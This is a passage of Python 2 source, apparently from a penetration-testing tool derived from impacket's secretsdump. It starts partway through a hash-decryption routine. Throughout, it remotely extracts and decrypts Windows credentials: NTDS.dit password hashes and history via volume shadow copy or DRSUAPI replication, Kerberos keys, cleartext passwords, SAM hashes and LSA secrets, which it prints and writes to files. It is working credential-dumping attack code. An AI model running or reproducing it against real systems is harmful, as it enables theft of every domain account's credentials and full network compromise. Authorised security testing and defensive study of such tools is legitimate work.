userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
else:
|
|
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
|
|
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
|
|
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
|
|
else:
|
|
pwdLastSet = 'N/A'
|
|
|
|
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if self.__pwdLastSet is True:
|
|
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
print_att(answer)
|
|
|
|
if self.__history:
|
|
LMHistory = []
|
|
NTHistory = []
|
|
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
|
|
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
|
|
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
|
|
for i in range(0, len(tmpLMHistory) / 16):
|
|
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
LMHistory.append(LMHash)
|
|
|
|
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
|
|
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
|
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
|
for i in range(0, len(tmpNTHistory) / 16):
|
|
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
NTHistory.append(NTHash)
|
|
|
|
for i, (LMHash, NTHash) in enumerate(
|
|
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
if self.__noLMHash:
|
|
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
else:
|
|
lmhash = hexlify(LMHash)
|
|
|
|
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
print_att(answer)
|
|
else:
|
|
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
domain = None
|
|
if self.__history:
|
|
LMHistory = []
|
|
NTHistory = []
|
|
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
try:
|
|
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
except Exception, e:
|
|
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
|
|
# Fallbacking to fixed table and hope for the best
|
|
attId = attr['attrTyp']
|
|
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
|
|
if attId == LOOKUP_TABLE['dBCSPwd']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
|
|
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
|
|
else:
|
|
LMHash = ntlm.LMOWFv1('', '')
|
|
elif attId == LOOKUP_TABLE['unicodePwd']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
|
|
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
|
|
else:
|
|
NTHash = ntlm.NTOWFv1('', '')
|
|
elif attId == LOOKUP_TABLE['userPrincipalName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
except:
|
|
domain = None
|
|
else:
|
|
domain = None
|
|
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
except:
|
|
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
else:
|
|
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
elif attId == LOOKUP_TABLE['objectSid']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
else:
|
|
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
objectSid = rid
|
|
elif attId == LOOKUP_TABLE['pwdLastSet']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
|
|
except:
|
|
logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
pwdLastSet = 'N/A'
|
|
|
|
if self.__history:
|
|
if attId == LOOKUP_TABLE['lmPwdHistory']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
|
|
for i in range(0, len(tmpLMHistory) / 16):
|
|
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
LMHistory.append(LMHashHistory)
|
|
else:
|
|
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
elif attId == LOOKUP_TABLE['ntPwdHistory']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
|
|
for i in range(0, len(tmpNTHistory) / 16):
|
|
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
NTHistory.append(NTHashHistory)
|
|
else:
|
|
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
|
|
if domain is not None:
|
|
userName = '%s\\%s' % (domain, userName)
|
|
|
|
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
|
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if self.__pwdLastSet is True:
|
|
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
print_att(answer)
|
|
|
|
if self.__history:
|
|
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
|
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
if self.__noLMHash:
|
|
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
else:
|
|
lmhash = hexlify(LMHashHistory)
|
|
|
|
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
|
print_att(answer)
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if outputFile is not None:
|
|
outputFile.flush()
|
|
|
|
def dump(self):
|
|
if self.__useVSSMethod is True:
|
|
if self.__NTDS is None:
|
|
# No NTDS.dit file provided and were asked to use VSS
|
|
return
|
|
else:
|
|
if self.__NTDS is None:
|
|
# DRSUAPI method, checking whether target is a DC
|
|
try:
|
|
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
|
|
except:
|
|
# Target's not a DC
|
|
return
|
|
|
|
# Let's check if we need to save results in a file
|
|
if self.__outputFileName is not None:
|
|
logging.debug('Saving output to %s' % self.__outputFileName)
|
|
# We have to export. Are we resuming a session?
|
|
if self.__savedSessionFile is not None:
|
|
mode = 'a+'
|
|
else:
|
|
mode = 'w+'
|
|
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
|
|
if self.__justNTLM is False:
|
|
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
|
|
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
|
|
else:
|
|
hashesOutputFile = None
|
|
keysOutputFile = None
|
|
clearTextOutputFile = None
|
|
|
|
logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
|
|
if self.__useVSSMethod:
|
|
# We start getting rows from the table aiming at reaching
|
|
# the pekList. If we find users records we stored them
|
|
# in a temp list for later process.
|
|
self.__getPek()
|
|
if self.__PEK is not None:
|
|
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
|
|
# First of all, if we have users already cached, let's decrypt their hashes
|
|
for record in self.__tmpUsers:
|
|
try:
|
|
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
except Exception, e:
|
|
# import traceback
|
|
# print traceback.print_exc()
|
|
try:
|
|
logging.error(
|
|
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
logging.error(str(e))
|
|
pass
|
|
except:
|
|
logging.error("Error while processing row!")
|
|
logging.error(str(e))
|
|
pass
|
|
|
|
# Now let's keep moving through the NTDS file and decrypting what we find
|
|
while True:
|
|
try:
|
|
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
except:
|
|
logging.error('Error while calling getNextRow(), trying the next one')
|
|
continue
|
|
|
|
if record is None:
|
|
break
|
|
try:
|
|
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
except Exception, e:
|
|
# import traceback
|
|
# print traceback.print_exc()
|
|
try:
|
|
logging.error(
|
|
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
logging.error(str(e))
|
|
pass
|
|
except:
|
|
logging.error("Error while processing row!")
|
|
logging.error(str(e))
|
|
pass
|
|
else:
|
|
logging.info('Using the DRSUAPI method to get NTDS.DIT secrets')
|
|
status = STATUS_MORE_ENTRIES
|
|
enumerationContext = 0
|
|
|
|
# Do we have to resume from a previously saved session?
|
|
if self.__savedSessionFile is not None:
|
|
# Yes
|
|
try:
|
|
resumeFile = open(self.__savedSessionFile, 'rwb+')
|
|
except Exception, e:
|
|
raise Exception('Cannot open resume session file name %s' % str(e))
|
|
resumeSid = resumeFile.read().strip('\n')
|
|
logging.info('Resuming from SID %s, be patient' % resumeSid)
|
|
# The resume session file is the same as the savedSessionFile
|
|
tmpName = self.__savedSessionFile
|
|
else:
|
|
resumeSid = None
|
|
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
|
|
logging.debug('Session resume file will be %s' % tmpName)
|
|
# Creating the resume session file
|
|
try:
|
|
resumeFile = open(tmpName, 'wb+')
|
|
self.__resumeSessionFile = tmpName
|
|
except Exception, e:
|
|
raise Exception('Cannot create resume session file %s' % str(e))
|
|
|
|
while status == STATUS_MORE_ENTRIES:
|
|
resp = self.__remoteOps.getDomainUsers(enumerationContext)
|
|
|
|
for user in resp['Buffer']['Buffer']:
|
|
userName = user['Name']
|
|
|
|
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
|
|
if resumeSid is not None:
|
|
# Means we're looking for a SID before start processing back again
|
|
if resumeSid == userSid.formatCanonical():
|
|
# Match!, next round we will back processing
|
|
resumeSid = None
|
|
continue
|
|
|
|
# Let's crack the user sid into DS_FQDN_1779_NAME
|
|
# In theory I shouldn't need to crack the sid. Instead
|
|
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
|
|
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
|
|
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
|
|
|
|
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
|
|
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
|
|
#userRecord.dump()
|
|
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
|
|
raise Exception('DRSGetNCChanges didn\'t return any object!')
|
|
else:
|
|
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
|
|
try:
|
|
self.__decryptHash(userRecord, user['RelativeId'],
|
|
userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'],
|
|
hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][
|
|
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
|
|
|
|
except Exception, e:
|
|
#import traceback
|
|
#traceback.print_exc()
|
|
logging.error("Error while processing user!")
|
|
logging.error(str(e))
|
|
|
|
# Saving the session state
|
|
resumeFile.seek(0,0)
|
|
resumeFile.truncate(0)
|
|
resumeFile.write(userSid.formatCanonical())
|
|
resumeFile.flush()
|
|
|
|
enumerationContext = resp['EnumerationContext']
|
|
status = resp['ErrorCode']
|
|
|
|
# Everything went well and we covered all the users
|
|
# Let's remove the resume file
|
|
resumeFile.close()
|
|
os.remove(tmpName)
|
|
self.__resumeSessionFile = None
|
|
|
|
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
|
|
if len(self.__kerberosKeys) > 0:
|
|
if self.__useVSSMethod is True:
|
|
logging.info('Kerberos keys from %s ' % self.__NTDS)
|
|
else:
|
|
logging.info('Kerberos keys grabbed')
|
|
|
|
for itemKey in self.__kerberosKeys.keys():
|
|
print_att(itemKey)
|
|
|
|
# And finally the cleartext pwds
|
|
if len(self.__clearTextPwds) > 0:
|
|
if self.__useVSSMethod is True:
|
|
logging.info('ClearText password from %s ' % self.__NTDS)
|
|
else:
|
|
logging.info('ClearText passwords grabbed')
|
|
|
|
for itemKey in self.__clearTextPwds.keys():
|
|
print_att(itemKey)
|
|
|
|
# Closing output file
|
|
if self.__outputFileName is not None:
|
|
hashesOutputFile.close()
|
|
if self.__justNTLM is False:
|
|
keysOutputFile.close()
|
|
clearTextOutputFile.close()
|
|
|
|
@classmethod
|
|
def __writeOutput(cls, fd, data):
|
|
try:
|
|
fd.write(data)
|
|
except Exception, e:
|
|
logging.error("Error writing entry, skippingi (%s)" % str(e))
|
|
pass
|
|
|
|
def finish(self):
|
|
if self.__NTDS is not None:
|
|
self.__ESEDB.close()
|
|
|
|
|
|
class DumpSecrets:
|
|
def __init__(self, address, port, outputFile, smbConnection, kerberos=False):
|
|
self.__remoteAddr = address
|
|
self.__remotePort = port
|
|
#self.__username = username
|
|
#self.__password = password
|
|
#self.__domain = domain
|
|
self.__bootKey = None
|
|
#self.__lmhash = ''
|
|
#self.__nthash = ''
|
|
#self.__aesKey = aesKey
|
|
self.__smbConnection = smbConnection
|
|
self.__remoteOps = None
|
|
self.__SAMHashes = None
|
|
self.__NTDSHashes = None
|
|
self.__LSASecrets = None
|
|
self.__systemHive = None #Local
|
|
self.__securityHive = None #Local
|
|
self.__samHive = None #Local
|
|
self.__ntdsFile = None #Local
|
|
#self.__history = False #Might want to expose this
|
|
self.__noLMHash = True
|
|
self.__isRemote = True
|
|
self.__outputFileName = outputFile
|
|
self.__doKerberos = kerberos
|
|
self.__justDC = False #Might want to expose this
|
|
self.__justDCNTLM = True #Might want to expose this
|
|
#self.__pwdLastSet = False #Might want to expose this
|
|
self.__resumeFileName = None #Might want to expose this
|
|
|
|
def getBootKey(self):
|
|
# Local Version whenever we are given the files directly
|
|
bootKey = ''
|
|
tmpKey = ''
|
|
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
logging.debug('Retrieving class info for %s'% key)
|
|
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
|
|
digit = ans[:16].decode('utf-16le')
|
|
tmpKey = tmpKey + digit
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
tmpKey = unhexlify(tmpKey)
|
|
|
|
for i in xrange(len(tmpKey)):
|
|
bootKey += tmpKey[transforms[i]]
|
|
|
|
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
|
|
|
|
return bootKey
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
logging.debug('Checking NoLMHash Policy')
|
|
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
|
|
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
|
|
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
|
|
if noLmHash is not None:
|
|
noLmHash = noLmHash[1]
|
|
else:
|
|
noLmHash = 0
|
|
|
|
if noLmHash != 1:
|
|
logging.debug('LMHashes are being stored')
|
|
return False
|
|
logging.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def do_remote_ops(self):
|
|
bootKey = None
|
|
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
|
self.__remoteOps.enableRegistry()
|
|
bootKey = self.__remoteOps.getBootKey()
|
|
# Let's check whether target system stores LM Hashes
|
|
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
|
self.__bootKey = bootKey
|
|
|
|
def dump_SAM(self):
|
|
# If RemoteOperations succeeded, then we can extract SAM
|
|
if self.__bootKey is not None:
|
|
try:
|
|
SAMFileName = self.__remoteOps.saveSAM()
|
|
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, isRemote = True)
|
|
print_succ('{}:{} Dumping SAM hashes (uid:rid:lmhash:nthash):'.format(self.__remoteAddr, self.__remotePort))
|
|
self.__SAMHashes.dump()
|
|
if self.__outputFileName is not None:
|
|
self.__SAMHashes.export(self.__outputFileName)
|
|
except Exception, e:
|
|
logging.error('SAM hashes extraction failed: %s' % str(e))
|
|
|
|
def dump_LSA(self):
|
|
# If RemoteOperations succeeded, then we can extract LSA
|
|
if self.__bootKey is not None:
|
|
try:
|
|
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
|
print_succ('{}:{} Dumping LSA secrets:'.format(self.__remoteAddr, self.__remotePort))
|
|
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True)
|
|
self.__LSASecrets.dumpCachedHashes()
|
|
if self.__outputFileName is not None:
|
|
self.__LSASecrets.exportCached(self.__outputFileName)
|
|
self.__LSASecrets.dumpSecrets()
|
|
if self.__outputFileName is not None:
|
|
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
|
except Exception, e:
|
|
logging.error('LSA hashes extraction failed: %s' % str(e))
|
|
|
|
def dump_NTDS(self, method, history, pwdLastSet):
|
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
|
vss = False
|
|
if method == 'vss':
|
|
vss = True
|
|
NTDSFileName = self.__remoteOps.saveNTDS()
|
|
else:
|
|
NTDSFileName = None
|
|
|
|
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
|
|
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
|
|
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
|
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
|
|
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
|
|
outputFileName=self.__outputFileName)
|
|
try:
|
|
self.__NTDSHashes.dump()
|
|
except Exception, e:
|
|
logging.error(e)
|
|
if method != 'vss':
|
|
logging.info('Something wen\'t wrong with the DRSUAPI approach')
|
|
|
|
def cleanup(self):
|
|
logging.info('Cleaning up... ')
|
|
if self.__remoteOps:
|
|
self.__remoteOps.finish()
|
|
if self.__SAMHashes:
|
|
self.__SAMHashes.finish()
|
|
if self.__LSASecrets:
|
|
self.__LSASecrets.finish()
|
|
if self.__NTDSHashes:
|
|
self.__NTDSHashes.finish()
|